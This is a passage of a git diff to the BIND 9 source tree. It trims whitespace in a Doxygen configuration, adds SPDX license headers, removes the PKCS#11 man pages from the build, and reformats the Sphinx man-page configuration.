-# undefined via #undef or recursively expanded use the := operator 
+# The PREDEFINED tag can be used to specify one or more macro names that
+# are defined before the preprocessor is started (similar to the -D option of
+# gcc). The argument of the tag is a list of macros of the form: name
+# or name=definition (no spaces). If the definition and the = are
+# omitted =1 is assumed. To prevent a macro definition from being
+# undefined via #undef or recursively expanded use the := operator
 # instead of the = operator.
 
 PREDEFINED             = "ISC_FORMAT_PRINTF(fmt, args)=" \
 			 "LIBRPZ_PF(f, l)="
 
-# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
-# this tag can be used to specify a list of macro names that should be expanded. 
-# The macro definition that is found in the sources will be used. 
+# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then
+# this tag can be used to specify a list of macro names that should be expanded.
+# The macro definition that is found in the sources will be used.
 # Use the PREDEFINED tag if you want to use a different macro definition.
 
-EXPAND_AS_DEFINED      = 
+EXPAND_AS_DEFINED      =
 
-# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then 
-# doxygen's preprocessor will remove all function-like macros that are alone 
-# on a line, have an all uppercase name, and do not end with a semicolon. Such 
-# function macros are typically used for boiler-plate code, and will confuse 
+# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then
+# doxygen's preprocessor will remove all function-like macros that are alone
+# on a line, have an all uppercase name, and do not end with a semicolon. Such
+# function macros are typically used for boiler-plate code, and will confuse
 # the parser if not removed.
 
 SKIP_FUNCTION_MACROS   = YES
 
 #---------------------------------------------------------------------------
-# Configuration::additions related to external references   
+# Configuration::additions related to external references
 #---------------------------------------------------------------------------
 
-# The TAGFILES option can be used to specify one or more tagfiles. 
-# Optionally an initial location of the external documentation 
-# can be added for each tagfile. The format of a tag file without 
-# this location is as follows: 
-#   TAGFILES = file1 file2 ... 
-# Adding location for the tag files is done as follows: 
-#   TAGFILES = file1=loc1 "file2 = loc2" ... 
-# where "loc1" and "loc2" can be relative or absolute paths or 
-# URLs. If a location is present for each tag, the installdox tool 
+# The TAGFILES option can be used to specify one or more tagfiles.
+# Optionally an initial location of the external documentation
+# can be added for each tagfile. The format of a tag file without
+# this location is as follows:
+#   TAGFILES = file1 file2 ...
+# Adding location for the tag files is done as follows:
+#   TAGFILES = file1=loc1 "file2 = loc2" ...
+# where "loc1" and "loc2" can be relative or absolute paths or
+# URLs. If a location is present for each tag, the installdox tool
 # does not have to be run to correct the links.
 # Note that each tag file must have a unique name
 # (where the name does NOT include the path)
-# If a tag file is not located in the directory in which doxygen 
+# If a tag file is not located in the directory in which doxygen
 # is run, you must also specify the path to the tagfile here.
 
-TAGFILES               = 
+TAGFILES               =
 
-# When a file name is specified after GENERATE_TAGFILE, doxygen will create 
+# When a file name is specified after GENERATE_TAGFILE, doxygen will create
 # a tag file that is based on the input files it reads.
 
-GENERATE_TAGFILE       = 
+GENERATE_TAGFILE       =
 
-# If the ALLEXTERNALS tag is set to YES all external classes will be listed 
-# in the class index. If set to NO only the inherited external classes 
+# If the ALLEXTERNALS tag is set to YES all external classes will be listed
+# in the class index. If set to NO only the inherited external classes
 # will be listed.
 
 ALLEXTERNALS           = NO
 
-# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed 
-# in the modules index. If set to NO, only the current project's groups will 
+# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed
+# in the modules index. If set to NO, only the current project's groups will
 # be listed.
 
 EXTERNAL_GROUPS        = YES
 
-# The PERL_PATH should be the absolute path and name of the perl script 
+# The PERL_PATH should be the absolute path and name of the perl script
 # interpreter (i.e. the result of `which perl').
 
 PERL_PATH              = @PERL@
 
 #---------------------------------------------------------------------------
-# Configuration options related to the dot tool   
+# Configuration options related to the dot tool
 #---------------------------------------------------------------------------
 
-# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will 
-# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base 
-# or super classes. Setting the tag to NO turns the diagrams off. Note that 
-# this option is superseded by the HAVE_DOT option below. This is only a 
-# fallback. It is recommended to install and use dot, since it yields more 
+# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will
+# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base
+# or super classes. Setting the tag to NO turns the diagrams off. Note that
+# this option is superseded by the HAVE_DOT option below. This is only a
+# fallback. It is recommended to install and use dot, since it yields more
 # powerful graphs.
 
 CLASS_DIAGRAMS         = YES
 
-# If set to YES, the inheritance and collaboration graphs will hide 
-# inheritance and usage relations if the target is undocumented 
+# If set to YES, the inheritance and collaboration graphs will hide
+# inheritance and usage relations if the target is undocumented
 # or is not a class.
 
 HIDE_UNDOC_RELATIONS   = YES
 
-# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is 
-# available from the path. This tool is part of Graphviz, a graph visualization 
-# toolkit from AT&T and Lucent Bell Labs. The other options in this section 
+# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is
+# available from the path. This tool is part of Graphviz, a graph visualization
+# toolkit from AT&T and Lucent Bell Labs. The other options in this section
 # have no effect if this option is set to NO (the default)
 
 HAVE_DOT               = NO
 
-# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
-# will generate a graph for each documented class showing the direct and 
-# indirect inheritance relations. Setting this tag to YES will force the 
+# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect inheritance relations. Setting this tag to YES will force the
 # the CLASS_DIAGRAMS tag to NO.
 
 CLASS_GRAPH            = YES
 
-# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen 
-# will generate a graph for each documented class showing the direct and 
-# indirect implementation dependencies (inheritance, containment, and 
+# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen
+# will generate a graph for each documented class showing the direct and
+# indirect implementation dependencies (inheritance, containment, and
 # class references variables) of the class with other documented classes.
 
 COLLABORATION_GRAPH    = YES
 
-# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen 
+# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen
 # will generate a graph for groups, showing the direct groups dependencies
 
 GROUP_GRAPHS           = YES
 
-# If the UML_LOOK tag is set to YES doxygen will generate inheritance and 
-# collaboration diagrams in a style similar to the OMG's Unified Modeling 
+# If the UML_LOOK tag is set to YES doxygen will generate inheritance and
+# collaboration diagrams in a style similar to the OMG's Unified Modeling
 # Language.
 
 UML_LOOK               = NO
 
-# If set to YES, the inheritance and collaboration graphs will show the 
+# If set to YES, the inheritance and collaboration graphs will show the
 # relations between templates and their instances.
 
 TEMPLATE_RELATIONS     = NO
 
-# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT 
-# tags are set to YES then doxygen will generate a graph for each documented 
-# file showing the direct and indirect include dependencies of the file with 
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT
+# tags are set to YES then doxygen will generate a graph for each documented
+# file showing the direct and indirect include dependencies of the file with
 # other documented files.
 
 INCLUDE_GRAPH          = YES
 
-# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and 
-# HAVE_DOT tags are set to YES then doxygen will generate a graph for each 
-# documented header file showing the documented files that directly or 
+# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and
+# HAVE_DOT tags are set to YES then doxygen will generate a graph for each
+# documented header file showing the documented files that directly or
 # indirectly include this file.
 
 INCLUDED_BY_GRAPH      = YES
 
-# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will 
-# generate a call dependency graph for every global function or class method. 
-# Note that enabling this option will significantly increase the time of a run. 
-# So in most cases it will be better to enable call graphs for selected 
+# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will
+# generate a call dependency graph for every global function or class method.
+# Note that enabling this option will significantly increase the time of a run.
+# So in most cases it will be better to enable call graphs for selected
 # functions only using the \callgraph command.
 
 CALL_GRAPH             = NO
 
-# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then doxygen will 
-# generate a caller dependency graph for every global function or class method. 
-# Note that enabling this option will significantly increase the time of a run. 
-# So in most cases it will be better to enable caller graphs for selected 
+# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then doxygen will
+# generate a caller dependency graph for every global function or class method.
+# Note that enabling this option will significantly increase the time of a run.
+# So in most cases it will be better to enable caller graphs for selected
 # functions only using the \callergraph command.
 
 CALLER_GRAPH           = YES
 
-# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen 
+# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen
 # will graphical hierarchy of all classes instead of a textual one.
 
 GRAPHICAL_HIERARCHY    = YES
 
-# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES 
-# then doxygen will show the dependencies a directory has on other directories 
+# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES
+# then doxygen will show the dependencies a directory has on other directories
 # in a graphical way. The dependency relations are determined by the #include
 # relations between the files in the directories.
 
 DIRECTORY_GRAPH        = YES
 
-# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images 
+# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images
 # generated by dot. Possible values are png, jpg, or gif
 # If left blank png will be used.
 
 DOT_IMAGE_FORMAT       = png
 
-# The tag DOT_PATH can be used to specify the path where the dot tool can be 
+# The tag DOT_PATH can be used to specify the path where the dot tool can be
 # found. If left blank, it is assumed the dot tool can be found in the path.
 
-DOT_PATH               = 
+DOT_PATH               =
 
-# The DOTFILE_DIRS tag can be used to specify one or more directories that 
-# contain dot files that are included in the documentation (see the 
+# The DOTFILE_DIRS tag can be used to specify one or more directories that
+# contain dot files that are included in the documentation (see the
 # \dotfile command).
 
-DOTFILE_DIRS           = 
+DOTFILE_DIRS           =
 
-# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width 
-# (in pixels) of the graphs generated by dot. If a graph becomes larger than 
-# this value, doxygen will try to truncate the graph, so that it fits within 
-# the specified constraint. Beware that most browsers cannot cope with very 
+# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than
+# this value, doxygen will try to truncate the graph, so that it fits within
+# the specified constraint. Beware that most browsers cannot cope with very
 # large images.
 
 MAX_DOT_GRAPH_WIDTH    = 1024
 
-# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height 
-# (in pixels) of the graphs generated by dot. If a graph becomes larger than 
-# this value, doxygen will try to truncate the graph, so that it fits within 
-# the specified constraint. Beware that most browsers cannot cope with very 
+# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height
+# (in pixels) of the graphs generated by dot. If a graph becomes larger than
+# this value, doxygen will try to truncate the graph, so that it fits within
+# the specified constraint. Beware that most browsers cannot cope with very
 # large images.
 
 MAX_DOT_GRAPH_HEIGHT   = 1024
 
-# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the 
-# graphs generated by dot. A depth value of 3 means that only nodes reachable 
-# from the root by following a path via at most 3 edges will be shown. Nodes 
-# that lay further from the root node will be omitted. Note that setting this 
-# option to 1 or 2 may greatly reduce the computation time needed for large 
-# code bases. Also note that a graph may be further truncated if the graph's 
-# image dimensions are not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH 
-# and MAX_DOT_GRAPH_HEIGHT). If 0 is used for the depth value (the default), 
+# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the
+# graphs generated by dot. A depth value of 3 means that only nodes reachable
+# from the root by following a path via at most 3 edges will be shown. Nodes
+# that lay further from the root node will be omitted. Note that setting this
+# option to 1 or 2 may greatly reduce the computation time needed for large
+# code bases. Also note that a graph may be further truncated if the graph's
+# image dimensions are not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH
+# and MAX_DOT_GRAPH_HEIGHT). If 0 is used for the depth value (the default),
 # the graph is not depth-constrained.
 
 MAX_DOT_GRAPH_DEPTH    = 1000
 
-# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent 
-# background. This is disabled by default, which results in a white background. 
-# Warning: Depending on the platform used, enabling this option may lead to 
-# badly anti-aliased labels on the edges of a graph (i.e. they become hard to 
+# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent
+# background. This is disabled by default, which results in a white background.
+# Warning: Depending on the platform used, enabling this option may lead to
+# badly anti-aliased labels on the edges of a graph (i.e. they become hard to
 # read).
 
 DOT_TRANSPARENT        = NO
 
-# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output 
-# files in one run (i.e. multiple -o and -T options on the command line). This 
-# makes dot run faster, but since only newer versions of dot (>1.8.10) 
+# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output
+# files in one run (i.e. multiple -o and -T options on the command line). This
+# makes dot run faster, but since only newer versions of dot (>1.8.10)
 # support this, this feature is disabled by default.
 
 DOT_MULTI_TARGETS      = YES
 
-# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
-# generate a legend page explaining the meaning of the various boxes and 
+# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will
+# generate a legend page explaining the meaning of the various boxes and
 # arrows in the dot generated graphs.
 
 GENERATE_LEGEND        = YES
 
-# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will 
-# remove the intermediate dot files that are used to generate 
+# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will
+# remove the intermediate dot files that are used to generate
 # the various graphs.
 
 DOT_CLEANUP            = YES
 
 #---------------------------------------------------------------------------
-# Configuration::additions related to the search engine   
+# Configuration::additions related to the search engine
 #---------------------------------------------------------------------------
 
-# The SEARCHENGINE tag specifies whether or not a search engine should be 
+# The SEARCHENGINE tag specifies whether or not a search engine should be
 # used. If set to NO the values of all tags below this one will be ignored.
 
 SEARCHENGINE           = NO
diff --git a/doc/doxygen/doxygen-input-filter.in b/doc/doxygen/doxygen-input-filter.in
index 00c48a80ef..2903fa6649 100644
--- a/doc/doxygen/doxygen-input-filter.in
+++ b/doc/doxygen/doxygen-input-filter.in
@@ -2,6 +2,8 @@
 #
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
diff --git a/doc/doxygen/mainpage b/doc/doxygen/mainpage
index df31f5d93a..618ebb8e9b 100644
--- a/doc/doxygen/mainpage
+++ b/doc/doxygen/mainpage
@@ -2,6 +2,18 @@
 //
 // Doxygen text.  Lines beginning with two slashes are comments; lines
 // beginning with three slashes are Doxygen input.
+//
+// Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+//
+// SPDX-License-Identifier: MPL-2.0
+//
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0.  If a copy of the MPL was not distributed with this
+// file, you can obtain one at https://mozilla.org/MPL/2.0/.
+//
+// See the COPYRIGHT file distributed with this work for additional
+// information regarding copyright ownership.
+
 
 /// \mainpage
 /// \section mainpage_overview Overview
diff --git a/doc/man/.gitignore b/doc/man/.gitignore
index cd519dabab..8337898c95 100644
--- a/doc/man/.gitignore
+++ b/doc/man/.gitignore
@@ -1,5 +1,8 @@
 /_build/
 /*.1
+/*.1in
 /*.5
+/*.5in
 /*.8
+/*.8in
 /manpages.stamp
diff --git a/doc/man/Makefile.am b/doc/man/Makefile.am
index 2e73e2c853..2590e20da6 100644
--- a/doc/man/Makefile.am
+++ b/doc/man/Makefile.am
@@ -32,16 +32,14 @@ MANPAGES_RST =				\
 	nsec3hash.rst			\
 	nslookup.rst			\
 	nsupdate.rst			\
-	pkcs11-destroy.rst		\
-	pkcs11-keygen.rst		\
-	pkcs11-list.rst			\
-	pkcs11-tokens.rst		\
 	rndc-confgen.rst		\
 	rndc.conf.rst			\
 	rndc.rst			\
 	tsig-keygen.rst			\
 	../../bin/check/named-checkconf.rst \
 	../../bin/check/named-checkzone.rst \
+	../../bin/check/named-compilezone.rst \
+	../../bin/confgen/ddns-confgen.rst \
 	../../bin/confgen/rndc-confgen.rst \
 	../../bin/confgen/tsig-keygen.rst \
 	../../bin/delv/delv.rst \
@@ -57,12 +55,9 @@ MANPAGES_RST =				\
 	../../bin/dnssec/dnssec-settime.rst \
 	../../bin/dnssec/dnssec-signzone.rst \
 	../../bin/dnssec/dnssec-verify.rst \
+	../../bin/named/named.conf.rst \
 	../../bin/named/named.rst \
 	../../bin/nsupdate/nsupdate.rst \
-	../../bin/pkcs11/pkcs11-destroy.rst \
-	../../bin/pkcs11/pkcs11-keygen.rst \
-	../../bin/pkcs11/pkcs11-list.rst \
-	../../bin/pkcs11/pkcs11-tokens.rst \
 	../../bin/plugins/filter-aaaa.rst \
 	../../bin/plugins/filter-a.rst \
 	../../bin/rndc/rndc.conf.rst \
@@ -75,7 +70,6 @@ MANPAGES_RST =				\
 	../../bin/tools/named-rrchecker.rst \
 	../../bin/tools/nsec3hash.rst
 
-
 man_MANS =				\
 	arpaname.1			\
 	ddns-confgen.8			\
@@ -110,7 +104,7 @@ man_MANS =				\
 	tsig-keygen.8
 
 if HAVE_DNSTAP
-man_MANS += 				\
+man_MANS +=				\
 	dnstap-read.1
 endif HAVE_DNSTAP
 
@@ -119,29 +113,17 @@ man_MANS +=				\
 	named-nzd2nzf.1
 endif HAVE_LMDB
 
-if HAVE_PKCS11
-man_MANS +=				\
-	pkcs11-destroy.1		\
-	pkcs11-keygen.1			\
-	pkcs11-list.1			\
-	pkcs11-tokens.1
-endif HAVE_PKCS11
-
 MANPAGES_IN =				\
 	$(man_MANS:=in)			\
 	dnstap-read.1in			\
-	named-nzd2nzf.1in		\
-	pkcs11-destroy.1in		\
-	pkcs11-keygen.1in		\
-	pkcs11-list.1in			\
-	pkcs11-tokens.1in
+	named-nzd2nzf.1in
 
 EXTRA_DIST =				\
 	conf.py				\
 	$(MANPAGES_RST)			\
 	$(MANPAGES_IN)
 
-CLEANFILES =				\
+CLEANFILES +=				\
 	$(man_MANS)
 
 #
@@ -152,6 +134,9 @@ man_SUBST =							\
 	$(AM_V_SED)$(SED)					\
 	  -e 's,[@]PACKAGE_VERSION@,$(PACKAGE_VERSION),'	\
 	  -e 's,[@]RELEASE_DATE@,$(RELEASE_DATE),'		\
+	  -e 's,[@]libdir[@],$(libdir),g'			\
+	  -e 's,[@]runstatedir[@],$(runstatedir),g'		\
+	  -e 's,[@]sysconfdir[@],$(sysconfdir),g'		\
 	  $(srcdir)/$@in >$@
 
 .1in.1:
@@ -171,14 +156,17 @@ doc-local: man
 clean-local::
 	-rm -rf $(SPHINXBUILDDIR)
 
-if MAINTAINER_MODE
 
 CLEANFILES +=				\
 	manpages.stamp
 
+if MAINTAINER_MODE
+
 MAINTAINERCLEANFILES =			\
 	$(MANPAGES_IN)
 
+endif MAINTAINER_MODE
+
 #
 # Build rules for generating pre-generated manpages
 #
@@ -190,6 +178,7 @@ if HAVE_SPHINX_BUILD
 manpages.stamp: $(MANPAGES_RST)
 	@rm -f manpages.tmp
 	@touch manpages.tmp
+	echo "${man_RST_EPILOG}"
 	$(AM_V_SPHINX)$(SPHINX_BUILD) -b man -d $(SPHINXBUILDDIR)/.doctrees/man $(man_SPHINXOPTS) $(SPHINXBUILDDIR)/man
 	for f in $(SPHINXBUILDDIR)/man/*; do \
 	  cp -a "$$f" "$(srcdir)/$$(basename $$f)in"; \
@@ -221,6 +210,5 @@ $(MANPAGES_IN): manpages.stamp
             $$dry test -f manpages.stamp; exit $$?; \
           fi; \
         fi
-endif HAVE_SPHINX_BUILD
 
-endif MAINTAINER_MODE
+endif HAVE_SPHINX_BUILD
diff --git a/doc/man/arpaname.1in b/doc/man/arpaname.1in
deleted file mode 100644
index 53e6d2d5dc..0000000000
--- a/doc/man/arpaname.1in
+++ /dev/null
@@ -1,48 +0,0 @@
-.\" Man page generated from reStructuredText.
-.
-.TH "ARPANAME" "1" "@RELEASE_DATE@" "@PACKAGE_VERSION@" "BIND 9"
-.SH NAME
-arpaname \- translate IP addresses to the corresponding ARPA names
-.
-.nr rst2man-indent-level 0
-.
-.de1 rstReportMargin
-\\$1 \\n[an-margin]
-level \\n[rst2man-indent-level]
-level margin: \\n[rst2man-indent\\n[rst2man-indent-level]]
--
-\\n[rst2man-indent0]
-\\n[rst2man-indent1]
-\\n[rst2man-indent2]
-..
-.de1 INDENT
-.\" .rstReportMargin pre:
-. RS \\$1
-. nr rst2man-indent\\n[rst2man-indent-level] \\n[an-margin]
-. nr rst2man-indent-level +1
-.\" .rstReportMargin post:
-..
-.de UNINDENT
-. RE
-.\" indent \\n[an-margin]
-.\" old: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.nr rst2man-indent-level -1
-.\" new: \\n[rst2man-indent\\n[rst2man-indent-level]]
-.in \\n[rst2man-indent\\n[rst2man-indent-level]]u
-..
-.SH SYNOPSIS
-.sp
-\fBarpaname\fP {\fIipaddress\fP ...}
-.SH DESCRIPTION
-.sp
-\fBarpaname\fP translates IP addresses (IPv4 and IPv6) to the
-corresponding IN\-ADDR.ARPA or IP6.ARPA names.
-.SH SEE ALSO
-.sp
-BIND 9 Administrator Reference Manual.
-.SH AUTHOR
-Internet Systems Consortium
-.SH COPYRIGHT
-2021, Internet Systems Consortium
-.\" Generated by docutils manpage writer.
-.
diff --git a/doc/man/arpaname.rst b/doc/man/arpaname.rst
index 25c0d39932..52d69b616c 100644
--- a/doc/man/arpaname.rst
+++ b/doc/man/arpaname.rst
@@ -1,12 +1,13 @@
-.. 
-   Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-   
-   This Source Code Form is subject to the terms of the Mozilla Public
-   License, v. 2.0. If a copy of the MPL was not distributed with this
-   file, you can obtain one at https://mozilla.org/MPL/2.0/.
-   
-   See the COPYRIGHT file distributed with this work for additional
-   information regarding copyright ownership.
+.. Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+..
+.. SPDX-License-Identifier: MPL-2.0
+..
+.. This Source Code Form is subject to the terms of the Mozilla Public
+.. License, v. 2.0.  If a copy of the MPL was not distributed with this
+.. file, you can obtain one at https://mozilla.org/MPL/2.0/.
+..
+.. See the COPYRIGHT file distributed with this work for additional
+.. information regarding copyright ownership.
 
 :orphan:
 
diff --git a/doc/man/conf.py b/doc/man/conf.py
index 04dd6d86e9..bad518c1a5 100644
--- a/doc/man/conf.py
+++ b/doc/man/conf.py
@@ -1,6 +1,8 @@
 ############################################################################
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
 # License, v. 2.0. If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,6 @@
 # information regarding copyright ownership.
 ############################################################################
 
-# flake8: noqa: E501
-
 #
 # Configuration file for the Sphinx documentation builder.
 #
@@ -30,13 +30,14 @@
 
 # -- Project information -----------------------------------------------------
 
-project = u'BIND 9'
+project = "BIND 9"
 # pylint: disable=wrong-import-position
 import datetime
+
 year = datetime.datetime.now().year
 # pylint: disable=redefined-builtin
-copyright = u"%d, Internet Systems Consortium" % year
-author = u'Internet Systems Consortium'
+copyright = "%d, Internet Systems Consortium" % year
+author = "Internet Systems Consortium"
 
 # -- General configuration ---------------------------------------------------
 
@@ -50,57 +51,160 @@
 extensions = []
 
 # Add any paths that contain templates here, relative to this directory.
-templates_path = ['../arm/_templates']
+templates_path = ["../arm/_templates"]
 
 # List of patterns, relative to source directory, that match files and
 # directories to ignore when looking for source files.
 # This pattern also affects html_static_path and html_extra_path.
 exclude_patterns = [
-    '_build',
-    'Thumbs.db',
-    '.DS_Store',
-    ]
+    "_build",
+    "Thumbs.db",
+    ".DS_Store",
+]
 
 # The master toctree document.
-master_doc = 'index'
+master_doc = "index"
 
 # pylint: disable=line-too-long
 man_pages = [
-    ('arpaname', 'arpaname', 'translate IP addresses to the corresponding ARPA names', author, 1),
-    ('ddns-confgen', 'ddns-confgen', 'ddns key generation tool', author, 8),
-    ('delv', 'delv', 'DNS lookup and validation utility', author, 1),
-    ('dig', 'dig', 'DNS lookup utility', author, 1),
-    ('dnssec-cds', 'dnssec-cds', 'change DS records for a child zone based on CDS/CDNSKEY', author, 1),
-    ('dnssec-dsfromkey', 'dnssec-dsfromkey', 'DNSSEC DS RR generation tool', author, 1),
-    ('dnssec-importkey', 'dnssec-importkey', 'import DNSKEY records from external systems so they can be managed', author, 1),
-    ('dnssec-keyfromlabel', 'dnssec-keyfromlabel', 'DNSSEC key generation tool', author, 1),
-    ('dnssec-keygen', 'dnssec-keygen', 'DNSSEC key generation tool', author, 1),
-    ('dnssec-revoke', 'dnssec-revoke', 'set the REVOKED bit on a DNSSEC key', author, 1),
-    ('dnssec-settime', 'dnssec-settime', 'set the key timing metadata for a DNSSEC key', author, 1),
-    ('dnssec-signzone', 'dnssec-signzone', 'DNSSEC zone signing tool', author, 1),
-    ('dnssec-verify', 'dnssec-verify', 'DNSSEC zone verification tool', author, 1),
-    ('dnstap-read', 'dnstap-read', 'print dnstap data in human-readable form', author, 1),
-    ('filter-aaaa', 'filter-aaaa', 'filter AAAA in DNS responses when A is present', author, 8),
-    ('filter-a', 'filter-a', 'filter A in DNS responses when AAAA is present', author, 8),
-    ('host', 'host', 'DNS lookup utility', author, 1),
-    ('mdig', 'mdig', 'DNS pipelined lookup utility', author, 1),
-    ('named-checkconf', 'named-checkconf', 'named configuration file syntax checking tool', author, 1),
-    ('named-checkzone', 'named-checkzone', 'zone file validity checking or converting tool', author, 1),
-    ('named-compilezone', 'named-compilezone', 'zone file validity checking or converting tool', author, 1),
-    ('named-journalprint', 'named-journalprint', 'print zone journal in human-readable form', author, 1),
-    ('named-nzd2nzf', 'named-nzd2nzf', 'convert an NZD database to NZF text format', author, 1),
-    ('named-rrchecker', 'named-rrchecker', 'syntax checker for individual DNS resource records', author, 1),
-    ('named.conf', 'named.conf', 'configuration file for **named**', author, 5),
-    ('named', 'named', 'Internet domain name server', author, 8),
-    ('nsec3hash', 'nsec3hash', 'generate NSEC3 hash', author, 1),
-    ('nslookup', 'nslookup', 'query Internet name servers interactively', author, 1),
-    ('nsupdate', 'nsupdate', 'dynamic DNS update utility', author, 1),
-    ('pkcs11-destroy', 'pkcs11-destroy', 'destroy PKCS#11 objects', author, 1),
-    ('pkcs11-keygen', 'pkcs11-keygen', 'generate keys on a PKCS#11 device', author, 1),
-    ('pkcs11-list', 'pkcs11-list', 'list PKCS#11 objects', author, 1),
-    ('pkcs11-tokens', 'pkcs11-tokens', 'list PKCS#11 available tokens', author, 1),
-    ('rndc-confgen', 'rndc-confgen', 'rndc key generation tool', author, 8),
-    ('rndc.conf', 'rndc.conf', 'rndc configuration file', author, 5),
-    ('rndc', 'rndc', 'name server control utility', author, 8),
-    ('tsig-keygen', 'tsig-keygen', 'TSIG key generation tool', author, 8),
-    ]
+    (
+        "arpaname",
+        "arpaname",
+        "translate IP addresses to the corresponding ARPA names",
+        author,
+        1,
+    ),
+    ("ddns-confgen", "ddns-confgen", "ddns key generation tool", author, 8),
+    ("delv", "delv", "DNS lookup and validation utility", author, 1),
+    ("dig", "dig", "DNS lookup utility", author, 1),
+    (
+        "dnssec-cds",
+        "dnssec-cds",
+        "change DS records for a child zone based on CDS/CDNSKEY",
+        author,
+        1,
+    ),
+    ("dnssec-dsfromkey", "dnssec-dsfromkey", "DNSSEC DS RR generation tool", author, 1),
+    (
+        "dnssec-importkey",
+        "dnssec-importkey",
+        "import DNSKEY records from external systems so they can be managed",
+        author,
+        1,
+    ),
+    (
+        "dnssec-keyfromlabel",
+        "dnssec-keyfromlabel",
+        "DNSSEC key generation tool",
+        author,
+        1,
+    ),
+    ("dnssec-keygen", "dnssec-keygen", "DNSSEC key generation tool", author, 1),
+    (
+        "dnssec-revoke",
+        "dnssec-revoke",
+        "set the REVOKED bit on a DNSSEC key",
+        author,
+        1,
+    ),
+    (
+        "dnssec-settime",
+        "dnssec-settime",
+        "set the key timing metadata for a DNSSEC key",
+        author,
+        1,
+    ),
+    ("dnssec-signzone", "dnssec-signzone", "DNSSEC zone signing tool", author, 1),
+    ("dnssec-verify", "dnssec-verify", "DNSSEC zone verification tool", author, 1),
+    (
+        "dnstap-read",
+        "dnstap-read",
+        "print dnstap data in human-readable form",
+        author,
+        1,
+    ),
+    (
+        "filter-aaaa",
+        "filter-aaaa",
+        "filter AAAA in DNS responses when A is present",
+        author,
+        8,
+    ),
+    (
+        "filter-a",
+        "filter-a",
+        "filter A in DNS responses when AAAA is present",
+        author,
+        8,
+    ),
+    ("host", "host", "DNS lookup utility", author, 1),
+    ("mdig", "mdig", "DNS pipelined lookup utility", author, 1),
+    (
+        "named-checkconf",
+        "named-checkconf",
+        "named configuration file syntax checking tool",
+        author,
+        1,
+    ),
+    (
+        "named-checkzone",
+        "named-checkzone",
+        "zone file validity checking or converting tool",
+        author,
+        1,
+    ),
+    (
+        "named-compilezone",
+        "named-compilezone",
+        "zone file validity checking or converting tool",
+        author,
+        1,
+    ),
+    (
+        "named-journalprint",
+        "named-journalprint",
+        "print zone journal in human-readable form",
+        author,
+        1,
+    ),
+    (
+        "named-nzd2nzf",
+        "named-nzd2nzf",
+        "convert an NZD database to NZF text format",
+        author,
+        1,
+    ),
+    (
+        "named-rrchecker",
+        "named-rrchecker",
+        "syntax checker for individual DNS resource records",
+        author,
+        1,
+    ),
+    ("named.conf", "named.conf", "configuration file for **named**", author, 5),
